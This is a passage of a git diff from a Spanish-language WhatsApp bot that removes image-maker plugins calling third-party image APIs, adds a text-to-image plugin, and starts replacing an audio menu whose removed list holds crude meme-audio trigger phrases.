-handler.register = true
-export default handler;
diff --git a/plugins/maker-simpcard.js b/plugins/maker-simpcard.js
deleted file mode 100644
index 78f3c280b..000000000
--- a/plugins/maker-simpcard.js
+++ /dev/null
@@ -1,10 +0,0 @@
-const handler = async (m, {conn}) => {
- const who = m.quoted ? m.quoted.sender : m.mentionedJid && m.mentionedJid[0] ? m.mentionedJid[0] : m.fromMe ? conn.user.jid : m.sender;
- conn.sendFile(m.chat, global.API('https://some-random-api.com', '/canvas/simpcard', {
- avatar: await conn.profilePictureUrl(who, 'image').catch((_) => 'https://telegra.ph/file/24fa902ead26340f3df2c.png'),
- }), 'error.png', '*¡WTF ERES SIMP* 😆', m);
-};
-handler.help = ['simpcard'];
-handler.tags = ['maker'];
-handler.command = /^(simpcard)$/i;
-export default handler;
diff --git a/plugins/maker-txt.js b/plugins/maker-txt.js
new file mode 100644
index 000000000..40db1b13e
--- /dev/null
+++ b/plugins/maker-txt.js
@@ -0,0 +1,23 @@
+let handler = async (m, { conn, text, usedPrefix, command }) => {
+let teks = text ? text : m.quoted && m.quoted.text ? m.quoted.text : ''
+
+if (command == 'txt' || command == 'escribir') {
+if (!teks) return m.reply(`⚠️ 𝙌𝙐𝙀 𝙀𝙎𝘾𝙍𝙄𝘽𝙄𝙊? 𝙐𝙎𝘼𝙍 𝙀𝙎𝙏𝙀 𝘾𝙊𝙈𝘼𝙉𝘿𝙊 𝘿𝙀 𝙇𝘼 𝙎𝙄𝙂𝙐𝙄𝙀𝙉𝙏𝙀 𝙁𝙊𝙍𝙈𝘼\n\n𝙀𝙅𝙀𝙈𝙋𝙇𝙊: *${usedPrefix + command}* Hola LoliBot`)
+let img = `${global.APIs.fgmods.url}/maker/txt?text=${encodeURIComponent(teks)}&apikey=${global.APIs.fgmods.key}`;
+conn.sendFile(m.chat, img, 'img.png', `✍🏻 𝙀𝙎𝙏𝘼 𝙇𝙄𝙎𝙏𝙊!!\n${info.wm}`, m);
+}
+
+if (command == 'carbon') {
+if (!teks) return m.reply(`⚠️ Ingresar en texto\nEj: *${usedPrefix + command}* case "hola":\nm.reply("que onda")\nbreak`)
+//let res = `${info.APIs.fgmods.url}/maker/carbon?text=${teks}&apikey=${info.APIs.fgmods.key}`
+let res = `https://www.archive-ui.biz.id/api/maker/carbonify?text=${teks}`
+await conn.sendFile(m.chat, res, 'error.jpg', null, m)
+}
+}
+handler.help = ['txt', 'brat']
+handler.tags = ['game']
+handler.command = ['txt', 'escribir', 'carbon']
+handler.limit = 1
+handler.register = true
+export default handler
+
diff --git a/plugins/maker-ytcomment.js b/plugins/maker-ytcomment.js
deleted file mode 100644
index ef6acc73a..000000000
--- a/plugins/maker-ytcomment.js
+++ /dev/null
@@ -1,12 +0,0 @@
-const handler = async (m, {conn, text}) => {
- if (!text) throw `${lenguajeGB['smsAvisoMG']()} Y EL TEXTO?`
- conn.sendFile(m.chat, global.API('https://some-random-api.com', '/canvas/youtube-comment', {
- avatar: await conn.profilePictureUrl(m.sender, 'image').catch((_) => 'https://telegra.ph/file/24fa902ead26340f3df2c.png'),
- comment: text,
- username: conn.getName(m.sender),
- }), 'error.png', '*HAS COMENTADO EN YOUTUBE!!* ?', m);
-};
-handler.help = ['ytcomment '];
-handler.tags = ['maker'];
-handler.command = /^(ytcomment)$/i;
-export default handler;
diff --git a/plugins/marker-ephoto360.js b/plugins/marker-ephoto360.js
deleted file mode 100644
index 617e1091b..000000000
--- a/plugins/marker-ephoto360.js
+++ /dev/null
@@ -1,152 +0,0 @@
-//https://violetics.pw/api/ephoto360
-
-let handler = async (m, { conn, args, command }) => {
- let response = args.join(' ').split('|')
- if (!args[0]) throw `𝙀𝙨𝙘𝙧𝙞𝙗𝙖 𝙪𝙣 𝙩𝙚𝙭𝙩𝙤 𝙥𝙖𝙧𝙖 𝙘𝙧𝙚𝙖𝙧 𝙚𝙡 𝙡𝙤𝙜𝙤`
- let img = './media/menus/Menu3.jpg'
- const fkontak = {
- "key": {
- "participants":"0@s.whatsapp.net",
- "remoteJid": "status@broadcast",
- "fromMe": false,
- "id": "Halo"
- },
- "message": {
- "contactMessage": {
- "vcard": `BEGIN:VCARD\nVERSION:3.0\nN:Sy;Bot;;;\nFN:y\nitem1.TEL;waid=${m.sender.split('@')[0]}:${m.sender.split('@')[0]}\nitem1.X-ABLabel:Ponsel\nEND:VCARD`
- }
- },
- "participant": "0@s.whatsapp.net"
- }
-
- try {
- if (command == 'logocorazon') {
- await conn.reply(m.chat, `⏳️ 𝑷𝒓𝒐𝒄𝒆𝒔𝒂𝒅𝒐...\n 𝒆𝒔𝒑𝒆𝒓𝒆 𝒔𝒐𝒚 𝒍𝒆𝒏𝒕𝒐🐢 𝒚𝒂 𝒆𝒔𝒕𝒐𝒚 𝒄𝒓𝒆𝒂𝒏𝒅𝒐 𝒔𝒖𝒔 𝒍𝒐𝒈𝒐𝒔`, fkontak, m)
- let res = `https://violetics.pw/api/ephoto360/heart-flashlight?apikey=beta&text=${response[0]}`
- await conn.sendFile(m.chat, res, 'error.jpg', null, m)}
-
- if (command == '3dtext') {
- await conn.reply(m.chat, `⏳️ 𝑷𝒓𝒐𝒄𝒆𝒔𝒂𝒅𝒐...\n 𝒆𝒔𝒑𝒆𝒓𝒆 𝒔𝒐𝒚 𝒍𝒆𝒏𝒕𝒐🐢 𝒚𝒂 𝒆𝒔𝒕𝒐𝒚 𝒄𝒓𝒆𝒂𝒏𝒅𝒐 𝒔𝒖𝒔 𝒍𝒐𝒈𝒐𝒔`, fkontak, m)
- let res = `https://violetics.pw/api/ephoto360/3dtext-effect3?apikey=${Key360}&text=${response[0]}`
- await conn.sendFile(m.chat, res, 'error.jpg', null, m)}
-
- if (command == 'angels') {
- await conn.reply(m.chat, `⏳️ 𝑷𝒓𝒐𝒄𝒆𝒔𝒂𝒅𝒐...\n 𝒆𝒔𝒑𝒆𝒓𝒆 𝒔𝒐𝒚 𝒍𝒆𝒏𝒕𝒐🐢 𝒚𝒂 𝒆𝒔𝒕𝒐𝒚 𝒄𝒓𝒆𝒂𝒏𝒅𝒐 𝒔𝒖𝒔 𝒍𝒐𝒈𝒐𝒔`, fkontak, m)
- let res = `https://violetics.pw/api/ephoto360/angels-wings?apikey=${Key360}&text=${response[0]}`
- await conn.sendFile(m.chat, res, 'error.jpg', null, m)}
-
- if (command == 'batshalloween') {
- await conn.reply(m.chat, `⏳️ 𝑷𝒓𝒐𝒄𝒆𝒔𝒂𝒅𝒐...\n 𝒆𝒔𝒑𝒆𝒓𝒆 𝒔𝒐𝒚 𝒍𝒆𝒏𝒕𝒐🐢 𝒚𝒂 𝒆𝒔𝒕𝒐𝒚 𝒄𝒓𝒆𝒂𝒏𝒅𝒐 𝒔𝒖𝒔 𝒍𝒐𝒈𝒐𝒔`, fkontak, m)
- let res = `https://violetics.pw/api/ephoto360/bats-halloween?apikey=${Key360}&text=${response[0]}`
- await conn.sendFile(m.chat, res, 'error.jpg', null, m)}
-
- if (command == 'bear2') {
- await conn.reply(m.chat, `⏳️ 𝑷𝒓𝒐𝒄𝒆𝒔𝒂𝒅𝒐...\n 𝒆𝒔𝒑𝒆𝒓𝒆 𝒔𝒐𝒚 𝒍𝒆𝒏𝒕𝒐🐢 𝒚𝒂 𝒆𝒔𝒕𝒐𝒚 𝒄𝒓𝒆𝒂𝒏𝒅𝒐 𝒔𝒖𝒔 𝒍𝒐𝒈𝒐𝒔`, fkontak, m)
- let res = `https://violetics.pw/api/ephoto360/bear2?apikey=${Key360}&text=${response[0]}`
- await conn.sendFile(m.chat, res, 'error.jpg', null, m)}
-
- if (command == 'boom') {
- await conn.reply(m.chat, `⏳️ 𝑷𝒓𝒐𝒄𝒆𝒔𝒂𝒅𝒐...\n 𝒆𝒔𝒑𝒆𝒓𝒆 𝒔𝒐𝒚 𝒍𝒆𝒏𝒕𝒐🐢 𝒚𝒂 𝒆𝒔𝒕𝒐𝒚 𝒄𝒓𝒆𝒂𝒏𝒅𝒐 𝒔𝒖𝒔 𝒍𝒐𝒈𝒐𝒔`, fkontak, m)
- let res = `https://violetics.pw/api/ephoto360/boom-comic?apikey=${Key360}&text=${response[0]}`
- await conn.sendFile(m.chat, res, 'error.jpg', null, m)}
-
- if (command == 'graffiticartoon') {
- await conn.reply(m.chat, `⏳️ 𝑷𝒓𝒐𝒄𝒆𝒔𝒂𝒅𝒐...\n 𝒆𝒔𝒑𝒆𝒓𝒆 𝒔𝒐𝒚 𝒍𝒆𝒏𝒕𝒐🐢 𝒚𝒂 𝒆𝒔𝒕𝒐𝒚 𝒄𝒓𝒆𝒂𝒏𝒅𝒐 𝒔𝒖𝒔 𝒍𝒐𝒈𝒐𝒔`, fkontak, m)
- let res = `https://violetics.pw/api/ephoto360/cartoon-graffiti?apikey=${Key360}&text=${response[0]}`
- await conn.sendFile(m.chat, res, 'error.jpg', null, m)}
-
- if (command == 'girlgamer') {
- await conn.reply(m.chat, `⏳️ 𝑷𝒓𝒐𝒄𝒆𝒔𝒂𝒅𝒐...\n 𝒆𝒔𝒑𝒆𝒓𝒆 𝒔𝒐𝒚 𝒍𝒆𝒏𝒕𝒐🐢 𝒚𝒂 𝒆𝒔𝒕𝒐𝒚 𝒄𝒓𝒆𝒂𝒏𝒅𝒐 𝒔𝒖𝒔 𝒍𝒐𝒈𝒐𝒔`, fkontak, m)
- let res = `https://violetics.pw/api/ephoto360/cute-girl-gamer?apikey=${Key360}&text=${response[0]}`
- await conn.sendFile(m.chat, res, 'error.jpg', null, m)}
-
- if (command == 'firework') {
- await conn.reply(m.chat, `⏳️ 𝑷𝒓𝒐𝒄𝒆𝒔𝒂𝒅𝒐...\n 𝒆𝒔𝒑𝒆𝒓𝒆 𝒔𝒐𝒚 𝒍𝒆𝒏𝒕𝒐🐢 𝒚𝒂 𝒆𝒔𝒕𝒐𝒚 𝒄𝒓𝒆𝒂𝒏𝒅𝒐 𝒔𝒖𝒔 𝒍𝒐𝒈𝒐𝒔`, fkontak, m)
- let res = `https://violetics.pw/api/ephoto360/firework-effect?apikey=${Key360}&text=${response[0]}`
- await conn.sendFile(m.chat, res, 'error.jpg', null, m)}
-
- if (command == 'gold') {
- await conn.reply(m.chat, `⏳️ 𝑷𝒓𝒐𝒄𝒆𝒔𝒂𝒅𝒐...\n 𝒆𝒔𝒑𝒆𝒓𝒆 𝒔𝒐𝒚 𝒍𝒆𝒏𝒕𝒐🐢 𝒚𝒂 𝒆𝒔𝒕𝒐𝒚 𝒄𝒓𝒆𝒂𝒏𝒅𝒐 𝒔𝒖𝒔 𝒍𝒐𝒈𝒐𝒔`, fkontak, m)
- let res = `https://violetics.pw/api/ephoto360/gold-effect?apikey=${Key360}&text=${response[0]}`
- await conn.sendFile(m.chat, res, 'error.jpg', null, m)}
-
- if (command == 'handlove') {
- await conn.reply(m.chat, `⏳️ 𝑷𝒓𝒐𝒄𝒆𝒔𝒂𝒅𝒐...\n 𝒆𝒔𝒑𝒆𝒓𝒆 𝒔𝒐𝒚 𝒍𝒆𝒏𝒕𝒐🐢 𝒚𝒂 𝒆𝒔𝒕𝒐𝒚 𝒄𝒓𝒆𝒂𝒏𝒅𝒐 𝒔𝒖𝒔 𝒍𝒐𝒈𝒐𝒔`, fkontak, m)
- let res = `https://violetics.pw/api/ephoto360/hand-love?apikey=${Key360}&text=${response[0]}`
- await conn.sendFile(m.chat, res, 'error.jpg', null, m)}
-
- if (command == 'heartcup') {
- await conn.reply(m.chat, `⏳️ 𝑷𝒓𝒐𝒄𝒆𝒔𝒂𝒅𝒐...\n 𝒆𝒔𝒑𝒆𝒓𝒆 𝒔𝒐𝒚 𝒍𝒆𝒏𝒕𝒐🐢 𝒚𝒂 𝒆𝒔𝒕𝒐𝒚 𝒄𝒓𝒆𝒂𝒏𝒅𝒐 𝒔𝒖𝒔 𝒍𝒐𝒈𝒐𝒔`, fkontak, m)
- let res = `https://violetics.pw/api/ephoto360/heart-cup?apikey=${Key360}&text=${response[0]}`
- await conn.sendFile(m.chat, res, 'error.jpg', null, m)}
-
- if (command == 'heartflashlight') {
- await conn.reply(m.chat, `⏳️ 𝑷𝒓𝒐𝒄𝒆𝒔𝒂𝒅𝒐...\n 𝒆𝒔𝒑𝒆𝒓𝒆 𝒔𝒐𝒚 𝒍𝒆𝒏𝒕𝒐🐢 𝒚𝒂 𝒆𝒔𝒕𝒐𝒚 𝒄𝒓𝒆𝒂𝒏𝒅𝒐 𝒔𝒖𝒔 𝒍𝒐𝒈𝒐𝒔`, fkontak, m)
- let res = `https://violetics.pw/api/ephoto360/heart-flashlight?apikey=${Key360}&text=${response[0]}`
- await conn.sendFile(m.chat, res, 'error.jpg', null, m)}
-
- if (command == 'birthdaycake') {
- await conn.reply(m.chat, `⏳️ 𝑷𝒓𝒐𝒄𝒆𝒔𝒂𝒅𝒐...\n 𝒆𝒔𝒑𝒆𝒓𝒆 𝒔𝒐𝒚 𝒍𝒆𝒏𝒕𝒐🐢 𝒚𝒂 𝒆𝒔𝒕𝒐𝒚 𝒄𝒓𝒆𝒂𝒏𝒅𝒐 𝒔𝒖𝒔 𝒍𝒐𝒈𝒐𝒔`, fkontak, m)
- let res = `https://violetics.pw/api/ephoto360/birthday-cake?apikey=${Key360}&text=${response[0]}`
- await conn.sendFile(m.chat, res, 'error.jpg', null, m)}
-
- if (command == 'birthdaycake2') {
- await conn.reply(m.chat, `⏳️ 𝑷𝒓𝒐𝒄𝒆𝒔𝒂𝒅𝒐...\n 𝒆𝒔𝒑𝒆𝒓𝒆 𝒔𝒐𝒚 𝒍𝒆𝒏𝒕𝒐🐢 𝒚𝒂 𝒆𝒔𝒕𝒐𝒚 𝒄𝒓𝒆𝒂𝒏𝒅𝒐 𝒔𝒖𝒔 𝒍𝒐𝒈𝒐𝒔`, fkontak, m)
- let res = `https://violetics.pw/api/ephoto360/birthday-cake10?apikey=${Key360}&text=${response[0]}`
- await conn.sendFile(m.chat, res, 'error.jpg', null, m)}
-
- if (command == 'birthdaycake3') {
- await conn.reply(m.chat, `⏳️ 𝑷𝒓𝒐𝒄𝒆𝒔𝒂𝒅𝒐...\n 𝒆𝒔𝒑𝒆𝒓𝒆 𝒔𝒐𝒚 𝒍𝒆𝒏𝒕𝒐🐢 𝒚𝒂 𝒆𝒔𝒕𝒐𝒚 𝒄𝒓𝒆𝒂𝒏𝒅𝒐 𝒔𝒖𝒔 𝒍𝒐𝒈𝒐𝒔`, fkontak, m)
- let res = `https://violetics.pw/api/ephoto360/birthday-cake2?apikey=${Key360}&text=${response[0]}`
- await conn.sendFile(m.chat, res, 'error.jpg', null, m)}
-
- if (command == 'facebooksilverplay') {
- await conn.reply(m.chat, `⏳️ 𝑷𝒓𝒐𝒄𝒆𝒔𝒂𝒅𝒐...\n 𝒆𝒔𝒑𝒆𝒓𝒆 𝒔𝒐𝒚 𝒍𝒆𝒏𝒕𝒐🐢 𝒚𝒂 𝒆𝒔𝒕𝒐𝒚 𝒄𝒓𝒆𝒂𝒏𝒅𝒐 𝒔𝒖𝒔 𝒍𝒐𝒈𝒐𝒔`, fkontak, m)
- let res = `https://violetics.pw/api/ephoto360/facebook-silver-play-button?apikey=${Key360}&text=${response[0]}`
- await conn.sendFile(m.chat, res, 'error.jpg', null, m)}
-
- if (command == 'facebooksilverplay2') {
- await conn.reply(m.chat, `⏳️ 𝑷𝒓𝒐𝒄𝒆𝒔𝒂𝒅𝒐...\n 𝒆𝒔𝒑𝒆𝒓𝒆 𝒔𝒐𝒚 𝒍𝒆𝒏𝒕𝒐🐢 𝒚𝒂 𝒆𝒔𝒕𝒐𝒚 𝒄𝒓𝒆𝒂𝒏𝒅𝒐 𝒔𝒖𝒔 𝒍𝒐𝒈𝒐𝒔`, fkontak, m)
- let res = `https://violetics.pw/api/ephoto360/facebook-gold-play-button?apikey=${Key360}&text=${response[0]}`
- await conn.sendFile(m.chat, res, 'error.jpg', null, m)}
-
- if (command == 'neonsantin') {
- await conn.reply(m.chat, `⏳️ 𝑷𝒓𝒐𝒄𝒆𝒔𝒂𝒅𝒐...\n 𝒆𝒔𝒑𝒆𝒓𝒆 𝒔𝒐𝒚 𝒍𝒆𝒏𝒕𝒐🐢 𝒚𝒂 𝒆𝒔𝒕𝒐𝒚 𝒄𝒓𝒆𝒂𝒏𝒅𝒐 𝒔𝒖𝒔 𝒍𝒐𝒈𝒐𝒔`, fkontak, m)
- let res = `https://violetics.pw/api/ephoto360/neon-satin?apikey=${Key360}&text=${response[0]}`
- await conn.sendFile(m.chat, res, 'error.jpg', null, m)}
-
- if (command == 'womenday') {
- await conn.reply(m.chat, `⏳️ 𝑷𝒓𝒐𝒄𝒆𝒔𝒂𝒅𝒐...\n 𝒆𝒔𝒑𝒆𝒓𝒆 𝒔𝒐𝒚 𝒍𝒆𝒏𝒕𝒐🐢 𝒚𝒂 𝒆𝒔𝒕𝒐𝒚 𝒄𝒓𝒆𝒂𝒏𝒅𝒐 𝒔𝒖𝒔 𝒍𝒐𝒈𝒐𝒔`, fkontak, m)
- let res = `https://violetics.pw/api/ephoto360/women-day?apikey=${Key360}&text=${response[0]}`
- await conn.sendFile(m.chat, res, 'error.jpg', null, m)}
-
- if (command == 'summerysand') {
- await conn.reply(m.chat, `⏳️ 𝑷𝒓𝒐𝒄𝒆𝒔𝒂𝒅𝒐...\n 𝒆𝒔𝒑𝒆𝒓𝒆 𝒔𝒐𝒚 𝒍𝒆𝒏𝒕𝒐🐢 𝒚𝒂 𝒆𝒔𝒕𝒐𝒚 𝒄𝒓𝒆𝒂𝒏𝒅𝒐 𝒔𝒖𝒔 𝒍𝒐𝒈𝒐𝒔`, fkontak, m)
- let res = `https://violetics.pw/api/ephoto360/summerysand?apikey=${Key360}&text=${response[0]}`
- await conn.sendFile(m.chat, res, 'error.jpg', null, m)}
-
- if (command == 'wetglass') {
- await conn.reply(m.chat, `⏳️ 𝑷𝒓𝒐𝒄𝒆𝒔𝒂𝒅𝒐...\n 𝒆𝒔𝒑𝒆𝒓𝒆 𝒔𝒐𝒚 𝒍𝒆𝒏𝒕𝒐🐢 𝒚𝒂 𝒆𝒔𝒕𝒐𝒚 𝒄𝒓𝒆𝒂𝒏𝒅𝒐 𝒔𝒖𝒔 𝒍𝒐𝒈𝒐𝒔`, fkontak, m)
- let res = `https://violetics.pw/api/ephoto360/wet-glass?apikey=${Key360}&text=${response[0]}`
- await conn.sendFile(m.chat, res, 'error.jpg', null, m)}
-
- if (command == 'mylove') {
- await conn.reply(m.chat, `⏳️ 𝑷𝒓𝒐𝒄𝒆𝒔𝒂𝒅𝒐...\n 𝒆𝒔𝒑𝒆𝒓𝒆 𝒔𝒐𝒚 𝒍𝒆𝒏𝒕𝒐🐢 𝒚𝒂 𝒆𝒔𝒕𝒐𝒚 𝒄𝒓𝒆𝒂𝒏𝒅𝒐 𝒔𝒖𝒔 𝒍𝒐𝒈𝒐𝒔`, fkontak, m)
- let res = `https://violetics.pw/api/ephoto360/my-love?apikey=${Key360}&text=${response[0]}`
- await conn.sendFile(m.chat, res, 'error.jpg', null, m)}
-
- if (command == 'pikachu') {
- await conn.reply(m.chat, `⏳️ 𝑷𝒓𝒐𝒄𝒆𝒔𝒂𝒅𝒐...\n 𝒆𝒔𝒑𝒆𝒓𝒆 𝒔𝒐𝒚 𝒍𝒆𝒏𝒕𝒐🐢 𝒚𝒂 𝒆𝒔𝒕𝒐𝒚 𝒄𝒓𝒆𝒂𝒏𝒅𝒐 𝒔𝒖𝒔 𝒍𝒐𝒈𝒐𝒔`, fkontak, m)
- let res = `https://violetics.pw/api/ephoto360/pikachu?apikey=${Key360}&text=${response[0]}`
- await conn.sendFile(m.chat, res, 'error.jpg', null, m)}
-
- if (command == 'logochristmas') {
- await conn.reply(m.chat, `⏳️ 𝑷𝒓𝒐𝒄𝒆𝒔𝒂𝒅𝒐...\n 𝒆𝒔𝒑𝒆𝒓𝒆 𝒔𝒐𝒚 𝒍𝒆𝒏𝒕𝒐🐢 𝒚𝒂 𝒆𝒔𝒕𝒐𝒚 𝒄𝒓𝒆𝒂𝒏𝒅𝒐 𝒔𝒖𝒔 𝒍𝒐𝒈𝒐𝒔`, fkontak, m)
- let res = `https://violetics.pw/api/ephoto360/christmas-snow?apikey=beta&text=${response[0]}`
- await conn.sendFile(m.chat, res, 'error.jpg', null, m)}
-
- } catch {
- conn.reply(m.chat, `𝑼𝒇𝒇𝒇, 𝒔𝒆 𝒄𝒂𝒚𝒐 𝒆𝒍 𝒔𝒆𝒓𝒗𝒊𝒅𝒐𝒓, 𝒗𝒖𝒆𝒍𝒗𝒂 𝒂𝒍 𝒊𝒏𝒕𝒆𝒏𝒕𝒂 𝒅𝒆 𝒏𝒖𝒆𝒗𝒐𝒔`, fkontak, m)
- }}
- handler.command = /^logocorazon|logochristmas|3dtext|angels|wetglass|sumerysand|womenday|batshalloween|neonsantin|facebooksilverplay|facebooksilverplay2|bear2|birthdaycake|birthdaycake2|birthdaycake3|boom|graffiticartoon|girlgamer|mylove|pikachu|firework|gold|handlove|heartcup|heartflashlight/i
- export default handler
diff --git a/plugins/marker-lolice.js b/plugins/marker-lolice.js
deleted file mode 100644
index eecc7cca1..000000000
--- a/plugins/marker-lolice.js
+++ /dev/null
@@ -1,10 +0,0 @@
-const handler = async (m, {conn}) => {
- const who = m.quoted ? m.quoted.sender : m.mentionedJid && m.mentionedJid[0] ? m.mentionedJid[0] : m.fromMe ? conn.user.jid : m.sender;
- conn.sendFile(m.chat, global.API('https://some-random-api.com', '/canvas/lolice', {
- avatar: await conn.profilePictureUrl(who, 'image').catch((_) => 'https://telegra.ph/file/24fa902ead26340f3df2c.png'),
- }), 'error.png', '*LLAMEN A LA POLICÍA!! 😱*', m);
-};
-handler.help = ['lolice'];
-handler.tags = ['maker'];
-handler.command = /^(lolice)$/i;
-export default handler;
diff --git a/plugins/menu-audios.js b/plugins/menu-audios.js
index a37da5e48..763d18395 100644
--- a/plugins/menu-audios.js
+++ b/plugins/menu-audios.js
@@ -1,270 +1,57 @@
-import { xpRange } from '../lib/levelling.js'
-import PhoneNumber from 'awesome-phonenumber'
-import { promises } from 'fs'
-import { join } from 'path'
-import fetch from 'node-fetch'
-
-let handler = async (m, { conn, usedPrefix, command, args, usedPrefix: _p, __dirname, isOwner, text, isAdmin, isROwner }) => {
-try{
-const { levelling } = '../lib/levelling.js'
-let { exp, limit, level, role } = global.db.data.users[m.sender]
-let { min, xp, max } = xpRange(level, global.multiplier)
-
-let d = new Date(new Date + 3600000)
-let locale = 'es'
-let weton = ['Pahing', 'Pon', 'Wage', 'Kliwon', 'Legi'][Math.floor(d / 84600000) % 5]
-let week = d.toLocaleDateString(locale, { weekday: 'long' })
-let date = d.toLocaleDateString(locale, {
-day: 'numeric',
-month: 'long',
-year: 'numeric'
-})
-let dateIslamic = Intl.DateTimeFormat(locale + '-TN-u-ca-islamic', {
-day: 'numeric',
-month: 'long',
-year: 'numeric'
-}).format(d)
-let time = d.toLocaleTimeString(locale, {
-hour: 'numeric',
-minute: 'numeric',
-second: 'numeric'
-})
-let _uptime = process.uptime() * 1000
-let _muptime
-if (process.send) {
-process.send('uptime')
-_muptime = await new Promise(resolve => {
-process.once('message', resolve)
-setTimeout(resolve, 1000)
-}) * 1000
+import fs from 'fs';
+import path from 'path';
+
+const audiosPath = path.resolve('./src/audios.json');
+let audios = {};
+try {
+ audios = JSON.parse(fs.readFileSync(audiosPath));
+ } catch (e) {
+ console.error('[❌] Error cargando media/audios.json:', e);
}
-let { money } = global.db.data.users[m.sender]
-let muptime = clockString(_muptime)
-let uptime = clockString(_uptime)
-let totalreg = Object.keys(global.db.data.users).length
-let rtotalreg = Object.values(global.db.data.users).filter(user => user.registered == true).length
-let replace = {
-'%': '%',
-p: _p, uptime, muptime,
-me: conn.getName(conn.user.jid),
-
-exp: exp - min,
-maxexp: xp,
-totalexp: exp,
-xp4levelup: max - exp,
-
-level, limit, weton, week, date, dateIslamic, time, totalreg, rtotalreg, role,
-readmore: readMore
-}
-text = text.replace(new RegExp(`%(${Object.keys(replace).sort((a, b) => b.length - a.length).join`|`})`, 'g'), (_, name) => '' + replace[name])
-
-let who = m.mentionedJid && m.mentionedJid[0] ? m.mentionedJid[0] : m.fromMe ? conn.user.jid : m.sender
-let mentionedJid = [who]
-let username = conn.getName(who)
-let user = global.db.data.users[m.sender]
-let taguser = '@' + m.sender.split("@s.whatsapp.net")[0]
-//user.registered = false
-
-let pp = gataVidMenu.getRandom()
-let fkontak = { "key": { "participants":"0@s.whatsapp.net", "remoteJid": "status@broadcast", "fromMe": false, "id": "Halo" }, "message": { "contactMessage": { "vcard": `BEGIN:VCARD\nVERSION:3.0\nN:Sy;Bot;;;\nFN:y\nitem1.TEL;waid=${m.sender.split('@')[0]}:${m.sender.split('@')[0]}\nitem1.X-ABLabel:Ponsel\nEND:VCARD` }}, "participant": "0@s.whatsapp.net" }
-let fsizedoc = '1'.repeat(10)
-let adReply = { fileLength: fsizedoc, seconds: fsizedoc, contextInfo: { forwardingScore: fsizedoc, externalAdReply: { showAdAttribution: true, title: wm, body: '👋 ' + username, mediaUrl: ig, description: 'Hola', previewType: 'PHOTO', thumbnail: await(await fetch(gataMenu.getRandom())).buffer(), sourceUrl: redesMenu.getRandom() }}}
-
-let str = `
-*_ミ💖 Hola ${taguser} 💖彡_*
-
-* *
-- Escribe las palabras/frases tal como estan, no hace falta poner ningun prefijo (#, ., *, etc)
-
-° ඬ⃟🔊 _Noche de paz_
-° ඬ⃟🔊 _Buenos dias_
-° ඬ⃟🔊 _Audio hentai_
-° ඬ⃟🔊 _Fiesta del admin_
-° ඬ⃟🔊 _Fiesta del admin 2_
-° ඬ⃟🔊 _Fiesta del administrador_
-° ඬ⃟🔊 _Viernes_
-° ඬ⃟🔊 _Mierda de Bot_
-° ඬ⃟🔊 _Me olvidé_
-° ඬ⃟🔊 _Baneado_
-° ඬ⃟🔊 _Feliz navidad_
-° ඬ⃟🔊 _A nadie le importa_
-° ඬ⃟🔊 _Sexo_
-° ඬ⃟🔊 _Vete a la vrg_
-° ඬ⃟🔊 _Ara ara_
-° ඬ⃟🔊 _Hola_
-° ඬ⃟🔊 _Un pato_
-° ඬ⃟🔊 _Nyanpasu_
-° ඬ⃟🔊 _Te amo_
-° ඬ⃟🔊 _Yamete_
-° ඬ⃟🔊 _Te diagnostico con gay_
-° ඬ⃟🔊 _Quien es tu sempai botsito 7w7_
-° ඬ⃟🔊 _Bañate_
-° ඬ⃟🔊 _Vivan los novios_
-° ඬ⃟🔊 _Marica quien_
-° ඬ⃟🔊 _Es puto_
-° ඬ⃟🔊 _La biblia_
-° ඬ⃟🔊 _Onichan_
-° ඬ⃟🔊 _Bot puto_
-° ඬ⃟🔊 _Feliz cumpleaños_
-° ඬ⃟🔊 _Pasa pack Bot_
-° ඬ⃟🔊 _Atencion grupo_
-° ඬ⃟🔊 _Homero chino_
-° ඬ⃟🔊 _Oh me vengo_
-° ඬ⃟🔊 _Murio el grupo_
-° ඬ⃟🔊 _Siuuu_
-° ඬ⃟🔊 _Rawr_
-° ඬ⃟🔊 _UwU_
-° ඬ⃟🔊 _:c_
-° ඬ⃟🔊 _a_
-° ඬ⃟🔊 _Hey_
-° ඬ⃟🔊 _Enojado_
-° ඬ⃟🔊 _Enojada_
-° ඬ⃟🔊 _Chao_
-° ඬ⃟🔊 _Hentai_
-° ඬ⃟🔊 _Triste_
-° ඬ⃟🔊 _Estoy triste_
-° ඬ⃟🔊 _Me pican los cocos_
-° ඬ⃟🔊 _Contexto_
-° ඬ⃟🔊 _Me voy_
-° ඬ⃟🔊 _Tengo los calzones del admin_
-° ඬ⃟🔊 _Entrada épica_
-° ඬ⃟🔊 _Esto va ser épico papus_
-° ඬ⃟🔊 _Ingresa épicamente_
-° ඬ⃟🔊 _Bv_
-° ඬ⃟🔊 _Yoshi_
-° ඬ⃟🔊 _No digas eso papu_
-° ඬ⃟🔊 _Ma ma masivo_
-° ඬ⃟🔊 _Masivo_
-° ඬ⃟🔊 _Basado_
-° ඬ⃟🔊 _Basada_
-° ඬ⃟🔊 _Fino señores_
-° ඬ⃟🔊 _Verdad que te engañe_
-° ඬ⃟🔊 _Sus_
-° ඬ⃟🔊 _Ohayo_
-° ඬ⃟🔊 _La voz de hombre_
-° ඬ⃟🔊 _Pero esto_
-° ඬ⃟🔊 _Bien pensado Woody_
-° ඬ⃟🔊 _Jesucristo_
-° ඬ⃟🔊 _Wtf_
-° ඬ⃟🔊 _Una pregunta_
-° ඬ⃟🔊 _Que sucede_
-° ඬ⃟🔊 _Hablame_
-° ඬ⃟🔊 _Pikachu_
-° ඬ⃟🔊 _Niconico_
-° ඬ⃟🔊 _Yokese_
-° ඬ⃟🔊 _Omaiga_
-° ඬ⃟🔊 _Nadie te preguntó_
-° ඬ⃟🔊 _Bueno si_
-° ඬ⃟🔊 _Usted está detenido_
-° ඬ⃟🔊 _No me hables_
-° ඬ⃟🔊 _No chu_
-° ඬ⃟🔊 _El pepe_
-° ඬ⃟🔊 _Pokémon_
-° ඬ⃟🔊 _No me hagas usar esto_
-° ඬ⃟🔊 _Esto va para ti_
-° ඬ⃟🔊 _Abduzcan_
-° ඬ⃟🔊 _Joder_
-° ඬ⃟🔊 _Hablar primos_
-° ඬ⃟🔊 _Mmm_
-° ඬ⃟🔊 _Orale_
-° ඬ⃟🔊 _Me anda buscando anonymous_
-° ඬ⃟🔊 _Blackpink in your area_
-° ඬ⃟🔊 _Cambiate a Movistar_
-° ඬ⃟🔊 _Momento equisde | Momento XD_
-° ඬ⃟🔊 _Todo bien | 😇_
-° ඬ⃟🔊 _Te gusta el Pepino | 🥒_
-° ඬ⃟🔊 _El tóxico_
-° ඬ⃟🔊 _Moshi moshi_
